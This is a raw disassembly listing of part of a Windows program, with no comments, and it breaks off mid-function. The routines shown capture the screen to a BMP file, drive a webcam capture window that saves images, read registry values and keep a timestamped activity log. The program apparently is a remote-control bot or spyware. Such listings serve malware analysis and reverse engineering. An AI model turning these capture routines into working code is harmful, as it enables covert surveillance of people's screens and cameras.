cmp [edi+2A0h], ebx
pop ecx
jnz short loc_40F817
push [ebp+var_168]
call sub_409979
pop ecx
push ebx
call dword_4E03A0 ; ExitThread
loc_40F817: ; CODE XREF: sub_40F3B8+44Aj
push 3E8h
call dword_4E033C ; Sleep
push edi
loc_40F823: ; CODE XREF: sub_40F3B8+125j
call sub_40F3B8
pop edi
pop esi
pop ebx
leave
retn 4
sub_40F3B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F82F proc near ; CODE XREF: sub_401C87+572Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_448820
mov edi, 0B8h
loc_40F843: ; CODE XREF: sub_40F82F+33j
cmp byte ptr [esi], 0
jz short loc_40F866
push [ebp+arg_0]
push esi
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_40F866
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_4493A0
jl short loc_40F843
jmp short loc_40F8A8
; ---------------------------------------------------------------------------
loc_40F866: ; CODE XREF: sub_40F82F+17j
; sub_40F82F+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_448820[esi]
push ebx
call sub_417700
push 17h
push [ebp+arg_0]
push ebx
call sub_417760
push 9Fh
lea eax, dword_448838[esi]
push [ebp+arg_4]
push eax
call sub_417760
add esp, 24h
inc dword_437A40
pop ebx
loc_40F8A8: ; CODE XREF: sub_40F82F+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_40F82F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F8AF proc near ; CODE XREF: sub_401C87+23A6p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_441974
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 14h
xor edi, edi
mov esi, offset dword_448820
loc_40F8D9: ; CODE XREF: sub_40F8AF+72j
cmp byte ptr [esi], 0
jz short loc_40F914
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_441988
lea eax, [ebp+var_200]
push 200h
push eax
call sub_417E80
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 2Ch
loc_40F914: ; CODE XREF: sub_40F8AF+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_4493A0
jl short loc_40F8D9
pop edi
pop esi
leave
retn
sub_40F8AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F927 proc near ; CODE XREF: sub_401404+372p
; sub_401404+3F3p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call dword_4E03FC ; GetLocalTime
mov ebx, offset dword_4DD3B0
mov edi, 80h
mov esi, offset dword_4D93B0
loc_40F949: ; CODE XREF: sub_40F927+3Dj
cmp byte ptr [ebx], 0
jz short loc_40F960
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_417760
add esp, 0Ch
loc_40F960: ; CODE XREF: sub_40F927+25j
sub ebx, edi
cmp ebx, esi
jge short loc_40F949
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_417E80
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_40F927 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F99B proc near ; CODE XREF: sub_4019A5+F7p
; sub_401C87:loc_402213p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_418C10
lea eax, [ebp+var_80]
push eax
call sub_40F927
add esp, 14h
leave
retn
sub_40F99B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+14h], ebx
push esi
mov dword ptr [ebp-8], 80h
mov [ebp-4], ebx
jnz short loc_40F9F6
push ebx
push dword ptr [ebp+10h]
push offset dword_4419C0
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40764A
add esp, 14h
loc_40F9F6: ; CODE XREF: .data:0040F9DDj
cmp [ebp+18h], ebx
jz short loc_40FA0E
push dword ptr [ebp+18h]
call sub_417960
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jz short loc_40FA0E
mov [ebp-8], eax
loc_40FA0E: ; CODE XREF: .data:0040F9F9j
; .data:0040FA09j
mov [ebp+14h], ebx
mov esi, offset dword_4D93B0
loc_40FA16: ; CODE XREF: .data:0040FA5Ej
mov eax, [ebp+14h]
cmp eax, [ebp-8]
jge short loc_40FA60
cmp [esi], bl
jz short loc_40FA4F
cmp [ebp+18h], ebx
jz short loc_40FA3B
cmp [ebp-4], ebx
jnz short loc_40FA3B
push dword ptr [ebp+18h]
push esi
call sub_411A8C
pop ecx
test eax, eax
pop ecx
jz short loc_40FA4F
loc_40FA3B: ; CODE XREF: .data:0040FA25j
; .data:0040FA2Aj
push 1
push dword ptr [ebp+10h]
push esi
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40764A
add esp, 14h
loc_40FA4F: ; CODE XREF: .data:0040FA20j
; .data:0040FA39j
inc dword ptr [ebp+14h]
add esi, 80h
cmp esi, offset dword_4DD3B0
jl short loc_40FA16
loc_40FA60: ; CODE XREF: .data:0040FA1Cj
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40FA64 proc near ; CODE XREF: sub_401C87+22A1p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4D93B0
xor ecx, ecx
loc_40FA6B: ; CODE XREF: sub_40FA64+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4DD3B0
jl short loc_40FA6B
cmp [esp+arg_C], ecx
jnz short loc_40FA99
push ecx
push [esp+4+arg_8]
push offset dword_4419CC
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_40764A
add esp, 14h
loc_40FA99: ; CODE XREF: sub_40FA64+19j
push offset dword_4419E0
call sub_40F927
pop ecx
retn
sub_40FA64 endp
; =============== S U B R O U T I N E =======================================
sub_40FAA5 proc near ; CODE XREF: sub_40C16C+219p
arg_0 = dword ptr 4
push esi
mov esi, offset dword_4D93B0
loc_40FAAB: ; CODE XREF: sub_40FAA5+27j
cmp byte ptr [esi], 0
jz short loc_40FAC0
push [esp+4+arg_0]
push esi
call sub_411A8C
pop ecx
test eax, eax
pop ecx
jnz short loc_40FAD2
loc_40FAC0: ; CODE XREF: sub_40FAA5+9j
add esi, 80h
cmp esi, offset dword_4DD3B0
jl short loc_40FAAB
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40FAD2: ; CODE XREF: sub_40FAA5+19j
xor eax, eax
pop esi
inc eax
retn
sub_40FAA5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FAD7 proc near ; DATA XREF: sub_401C87+2351o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
xor edx, edx
rep movsd
xor edi, edi
mov [ebp+var_8], 80h
inc edi
cmp [ebp+var_10], edx
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_40FB2A
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_4419F4
push eax
push [ebp+var_11C]
call sub_40764A
add esp, 14h
loc_40FB2A: ; CODE XREF: sub_40FAD7+33j
cmp [ebp+var_98], 0
jz short loc_40FB4A
lea eax, [ebp+var_98]
push eax
call sub_417960
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_40FB4A
mov [ebp+var_8], eax
loc_40FB4A: ; CODE XREF: sub_40FAD7+5Aj
; sub_40FAD7+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_4D93B0
loc_40FB53: ; CODE XREF: sub_40FAD7+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_40FBAD
cmp byte ptr [esi], 0
jz short loc_40FB9C
cmp [ebp+var_98], 0
jz short loc_40FB82
cmp [ebp+var_4], 0
jnz short loc_40FB82
lea eax, [ebp+var_98]
push eax
push esi
call sub_411A8C
pop ecx
test eax, eax
pop ecx
jz short loc_40FB9C
loc_40FB82: ; CODE XREF: sub_40FAD7+90j
; sub_40FAD7+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_40764A
add esp, 14h
loc_40FB9C: ; CODE XREF: sub_40FAD7+87j
; sub_40FAD7+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_4DD3B0
jl short loc_40FB53
loc_40FBAD: ; CODE XREF: sub_40FAD7+82j
lea eax, [ebp+var_31C]
push offset dword_441A10
push eax
call sub_417CB0
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_40FBE7
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_40764A
add esp, 14h
loc_40FBE7: ; CODE XREF: sub_40FAD7+EEj
lea eax, [ebp+var_31C]
push eax
call sub_40F927
push [ebp+var_18]
call sub_409979
pop ecx
pop ecx
push esi
call dword_4E03A0 ; ExitThread
pop edi
pop esi
sub_40FAD7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FC06 proc near ; CODE XREF: sub_401C87+3202p
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call dword_4D6654 ; CreateDCA
mov edi, eax
cmp edi, esi
mov [ebp+var_20], edi
jz loc_40FE3A
push 8
push edi
call dword_4D6670 ; GetDeviceCaps
push 0Ah
push edi
mov [ebp+var_8], eax
call dword_4D6670 ; GetDeviceCaps
push 0Ch
push edi
mov [ebp+var_C], eax
call dword_4D6670 ; GetDeviceCaps
cmp eax, 8
mov [ebp+var_10], eax
ja short loc_40FC68
push 18h
push edi
call dword_4D6670 ; GetDeviceCaps
mov ebx, 100h
jmp short loc_40FC6A
; ---------------------------------------------------------------------------
loc_40FC68: ; CODE XREF: sub_40FC06+50j
xor ebx, ebx
loc_40FC6A: ; CODE XREF: sub_40FC06+60j
push edi
call dword_4D66B4 ; CreateCompatibleDC
cmp eax, esi
mov [ebp+var_4], eax
jz loc_40FE1F
mov eax, [ebp+var_8]
push esi
mov [ebp+var_80], eax
mov eax, [ebp+var_C]
mov [ebp+var_7C], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_76], ax
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_84]
push 1
push eax
push edi
mov [ebp+var_84], 28h
mov [ebp+var_78], 1
mov [ebp+var_74], esi
mov [ebp+var_70], esi
mov [ebp+var_6C], esi
mov [ebp+var_68], esi
mov [ebp+var_64], ebx
mov [ebp+var_60], ebx
call dword_4D66AC ; CreateDIBSection
cmp eax, esi
mov [ebp+var_1C], eax
jz loc_40FE2A
push eax
push [ebp+var_4]
call dword_4D6538 ; SelectObject
cmp eax, esi
jz loc_40FE2A
cmp eax, 0FFFFFFFFh
jz loc_40FE2A
push 0CC0020h
push esi
push esi
push edi
push [ebp+var_C]
push [ebp+var_8]
push esi
push esi
push [ebp+var_4]
call dword_4D66B0 ; BitBlt
test eax, eax
jz loc_40FE2A
cmp ebx, esi
jz short loc_40FD27
lea eax, [ebp+var_484]
push eax
push ebx
push esi
push [ebp+var_4]
call dword_4D658C ; GetDIBColorTable
mov ebx, eax
loc_40FD27: ; CODE XREF: sub_40FC06+10Bj
mov edi, [ebp+var_10]
mov ecx, [ebp+var_8]
imul edi, [ebp+var_C]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp+var_8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp+var_26], eax
mov eax, [ebp+var_C]
push esi
push esi
push 40000000h
push [ebp+arg_0]
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_30], 4D42h
mov [ebp+var_2E], edx
mov [ebp+var_2A], si
mov [ebp+var_28], si
mov [ebp+var_58], 28h
mov [ebp+var_54], ecx
mov [ebp+var_4C], 1
mov [ebp+var_4A], ax
mov [ebp+var_48], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_3C], esi
mov [ebp+var_38], ebx
mov [ebp+var_34], esi
call dword_4E03D8 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_40FE0A
lea ecx, [ebp+var_14]
push esi
push ecx
lea ecx, [ebp+var_30]
push 0Eh
push ecx
push eax
call dword_4E03B4 ; WriteFile
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_58]
push 28h
push eax
push [ebp+arg_0]
call dword_4E03B4 ; WriteFile
cmp ebx, esi
jz short loc_40FDEC
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_484]
push [ebp+var_8]
push eax
push [ebp+arg_0]
call dword_4E03B4 ; WriteFile
loc_40FDEC: ; CODE XREF: sub_40FC06+1CCj
lea eax, [ebp+var_14]
push esi
push eax
push edi
push [ebp+var_18]
push [ebp+arg_0]
call dword_4E03B4 ; WriteFile
push [ebp+arg_0]
call dword_4E032C ; CloseHandle
xor esi, esi
inc esi
loc_40FE0A: ; CODE XREF: sub_40FC06+1A2j
push [ebp+var_1C]
call dword_4D65C4 ; DeleteObject
push [ebp+var_4]
call dword_4D6524 ; DeleteDC
mov edi, [ebp+var_20]
loc_40FE1F: ; CODE XREF: sub_40FC06+70j
push edi
call dword_4D6524 ; DeleteDC
mov eax, esi
jmp short loc_40FE3C
; ---------------------------------------------------------------------------
loc_40FE2A: ; CODE XREF: sub_40FC06+C7j
; sub_40FC06+D9j ...
push edi
call dword_4D6524 ; DeleteDC
push [ebp+var_4]
call dword_4D6524 ; DeleteDC
loc_40FE3A: ; CODE XREF: sub_40FC06+23j
xor eax, eax
loc_40FE3C: ; CODE XREF: sub_40FC06+222j
pop edi
pop esi
pop ebx
leave
retn
sub_40FC06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FE41 proc near ; CODE XREF: sub_401C87+3339p
var_34 = byte ptr -34h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
xor esi, esi
push edi
inc esi
xor ebx, ebx
push esi
push dword_4DD3B0
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4D65B8
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_40FE7F
mov eax, esi
jmp loc_410035
; ---------------------------------------------------------------------------
loc_40FE7F: ; CODE XREF: sub_40FE41+35j
push edi
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_40FE9C
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4D66C4 ; SendMessageA
jmp short loc_40FE9E
; ---------------------------------------------------------------------------
loc_40FE9C: ; CODE XREF: sub_40FE41+47j
xor eax, eax
loc_40FE9E: ; CODE XREF: sub_40FE41+59j
cmp eax, ebx
jnz short loc_40FEA9
loc_40FEA2: ; CODE XREF: sub_40FE41+88j
; sub_40FE41+BCj
mov ebx, esi
jmp loc_41002A
; ---------------------------------------------------------------------------
loc_40FEA9: ; CODE XREF: sub_40FE41+5Fj
push edi
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_40FEC6
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call dword_4D66C4 ; SendMessageA
loc_40FEC6: ; CODE XREF: sub_40FE41+71j
cmp [ebp+var_20], ebx
jz short loc_40FEA2
push edi
call dword_4D6608 ; IsWindow
test eax, eax
mov edi, 42Ch
jz short loc_40FEEC
push ebx
push ebx
push edi
push [ebp+var_4]
call dword_4D66C4 ; SendMessageA
mov [ebp+arg_4], eax
jmp short loc_40FEEF
; ---------------------------------------------------------------------------
loc_40FEEC: ; CODE XREF: sub_40FE41+98j
mov [ebp+arg_4], ebx
loc_40FEEF: ; CODE XREF: sub_40FE41+A9j
push [ebp+arg_4]
call sub_415090
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jz short loc_40FEA2
push [ebp+arg_4]
call sub_415090
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_40FF16
xor ebx, ebx
inc ebx
jmp loc_41002A
; ---------------------------------------------------------------------------
loc_40FF16: ; CODE XREF: sub_40FE41+CBj
push [ebp+var_4]
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_40FF33
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4D66C4 ; SendMessageA
loc_40FF33: ; CODE XREF: sub_40FE41+E0j
push [ebp+arg_4]
push [ebp+var_8]
push esi
call sub_419330
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_40FF4E
mov ecx, 280h
loc_40FF4E: ; CODE XREF: sub_40FE41+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_40FF5A
mov eax, 1E0h
loc_40FF5A: ; CODE XREF: sub_40FE41+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4D6608 ; IsWindow
test eax, eax
mov edi, 42Dh
jz short loc_40FFA4
push esi
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4D66C4 ; SendMessageA
loc_40FFA4: ; CODE XREF: sub_40FE41+153j
push [ebp+var_4]
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_40FFC1
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call dword_4D66C4 ; SendMessageA
loc_40FFC1: ; CODE XREF: sub_40FE41+16Ej
push [ebp+var_4]
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_40FFE0
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call dword_4D66C4 ; SendMessageA
loc_40FFE0: ; CODE XREF: sub_40FE41+18Bj
push [ebp+var_4]
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_40FFFD
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4D66C4 ; SendMessageA
loc_40FFFD: ; CODE XREF: sub_40FE41+1AAj
push [ebp+var_8]
call sub_415C20
push esi
call sub_415C20
pop ecx
pop ecx
push [ebp+var_4]
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_41002A
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call dword_4D66C4 ; SendMessageA
loc_41002A: ; CODE XREF: sub_40FE41+63j
; sub_40FE41+D0j ...
push [ebp+var_4]
call dword_4D6718 ; DestroyWindow
mov eax, ebx
loc_410035: ; CODE XREF: sub_40FE41+39j
pop edi
pop esi
pop ebx
leave
retn
sub_40FE41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41003A proc near ; CODE XREF: sub_401C87+33F4p
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
xor esi, esi
push edi
inc esi
xor ebx, ebx
push esi
push dword_4DD3B0
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow_0 ; "Window"
call dword_4D65B8
mov edi, eax
cmp edi, ebx
jnz short loc_410078
mov eax, esi
jmp loc_410274
; ---------------------------------------------------------------------------
loc_410078: ; CODE XREF: sub_41003A+35j
push edi
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_410095
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4D66C4 ; SendMessageA
jmp short loc_410097
; ---------------------------------------------------------------------------
loc_410095: ; CODE XREF: sub_41003A+47j
xor eax, eax
loc_410097: ; CODE XREF: sub_41003A+59j
cmp eax, ebx
jnz short loc_4100A2
loc_41009B: ; CODE XREF: sub_41003A+8Bj
; sub_41003A+BCj
mov ebx, esi
jmp loc_41026B
; ---------------------------------------------------------------------------
loc_4100A2: ; CODE XREF: sub_41003A+5Fj
push edi
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_4100C2
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call dword_4D66C4 ; SendMessageA
loc_4100C2: ; CODE XREF: sub_41003A+71j
cmp [ebp+var_7C], ebx
jz short loc_41009B
push edi
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_4100E5
push ebx
push ebx
push 42Ch
push edi
call dword_4D66C4 ; SendMessageA
mov [ebp+arg_4], eax
jmp short loc_4100E8
; ---------------------------------------------------------------------------
loc_4100E5: ; CODE XREF: sub_41003A+96j
mov [ebp+arg_4], ebx
loc_4100E8: ; CODE XREF: sub_41003A+A9j
push [ebp+arg_4]
call sub_415090
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41009B
push [ebp+arg_4]
call sub_415090
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_41010F
xor ebx, ebx
inc ebx
jmp loc_41026B
; ---------------------------------------------------------------------------
loc_41010F: ; CODE XREF: sub_41003A+CBj
push edi
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_41012C
push [ebp+var_4]
push [ebp+arg_4]
push 42Ch
push edi
call dword_4D66C4 ; SendMessageA
loc_41012C: ; CODE XREF: sub_41003A+DEj
push [ebp+arg_4]
push [ebp+var_4]
push esi
call sub_419330
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_410147
mov ecx, 0A0h
loc_410147: ; CODE XREF: sub_41003A+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_410151
push 78h
pop eax
loc_410151: ; CODE XREF: sub_41003A+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_410196
push esi
push [ebp+arg_4]
push 42Dh
push edi
call dword_4D66C4 ; SendMessageA
loc_410196: ; CODE XREF: sub_41003A+14Aj
push edi
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_4101B3
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call dword_4D66C4 ; SendMessageA
loc_4101B3: ; CODE XREF: sub_41003A+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_4101F1
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call dword_4D66C4 ; SendMessageA
loc_4101F1: ; CODE XREF: sub_41003A+1A3j
push edi
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_41020C
push [ebp+arg_0]
push ebx
push 414h
push edi
call dword_4D66C4 ; SendMessageA
loc_41020C: ; CODE XREF: sub_41003A+1C0j
push edi
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_410225
push ebx
push ebx
push 43Eh
push edi
call dword_4D66C4 ; SendMessageA
loc_410225: ; CODE XREF: sub_41003A+1DBj
push edi
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_410242
push [ebp+var_4]
push [ebp+arg_4]
push 42Dh
push edi
call dword_4D66C4 ; SendMessageA
loc_410242: ; CODE XREF: sub_41003A+1F4j
push [ebp+var_4]
call sub_415C20
push esi
call sub_415C20
pop ecx
pop ecx
push edi
call dword_4D6608 ; IsWindow
test eax, eax
jz short loc_41026B
push ebx
push ebx
push 40Bh
push edi
call dword_4D66C4 ; SendMessageA
loc_41026B: ; CODE XREF: sub_41003A+63j
; sub_41003A+D0j ...
push edi
call dword_4D6718 ; DestroyWindow
mov eax, ebx
loc_410274: ; CODE XREF: sub_41003A+39j
pop edi
pop esi
pop ebx
leave
retn
sub_41003A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410279 proc near ; CODE XREF: sub_401C87+20B3p
var_3F0 = byte ptr -3F0h
var_2EC = byte ptr -2ECh
var_EC = byte ptr -0ECh
var_6C = byte ptr -6Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F0h
push edi
xor edi, edi
cmp off_4428FC, edi
mov [ebp+var_8], 80h
jz loc_410429
push ebx
push esi
mov eax, offset off_4428FC
mov esi, offset dword_442908
loc_4102A4: ; CODE XREF: sub_410279+1A8j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push edi
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_4D66D8 ; RegOpenKeyExA
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_EC]
push eax
push edi
push edi
push dword ptr [esi-8]
push [ebp+var_4]
call dword_4D6568 ; RegQueryValueExA
test eax, eax
jnz loc_410410
mov eax, [esi]
cmp eax, edi
jz loc_4103D0
push eax
lea eax, [ebp+var_EC]
push eax
lea eax, [ebp+var_3F0]
push offset dword_442D30
push eax
call sub_417CB0
lea eax, [ebp+var_3F0]
push (offset aSr+2)
push eax
call sub_4176E0
mov ebx, eax
add esp, 18h
cmp ebx, edi
jz loc_410410
jmp short loc_41032F
; ---------------------------------------------------------------------------
loc_41031D: ; CODE XREF: sub_410279+C7j
push dword ptr [esi+4]
lea eax, [ebp+var_6C]
push eax
call sub_417E00
pop ecx
test eax, eax
pop ecx
jz short loc_410347
loc_41032F: ; CODE XREF: sub_410279+A2j
push ebx
lea eax, [ebp+var_6C]
push 64h
push eax
call sub_4186C0
add esp, 0Ch
test eax, eax
jnz short loc_41031D
jmp loc_4103C7
; ---------------------------------------------------------------------------
loc_410347: ; CODE XREF: sub_410279+B4j
push 3Dh
push dword ptr [esi+4]
call sub_418970
pop ecx
test eax, eax
pop ecx
lea eax, [ebp+var_6C]
jz short loc_41038A
push (offset aSr+4)
push eax
call sub_418AC0
push (offset aSr+6)
push edi
call sub_418AC0
push eax
lea eax, [ebp+var_2EC]
push dword ptr [esi-4]
push offset dword_442D3C
push eax
call sub_417CB0
add esp, 20h
jmp short loc_4103A2
; ---------------------------------------------------------------------------
loc_41038A: ; CODE XREF: sub_410279+DFj
push eax
lea eax, [ebp+var_2EC]
push dword ptr [esi-4]
push offset dword_442D54
push eax
call sub_417CB0
add esp, 10h
loc_4103A2: ; CODE XREF: sub_410279+10Fj
push edi
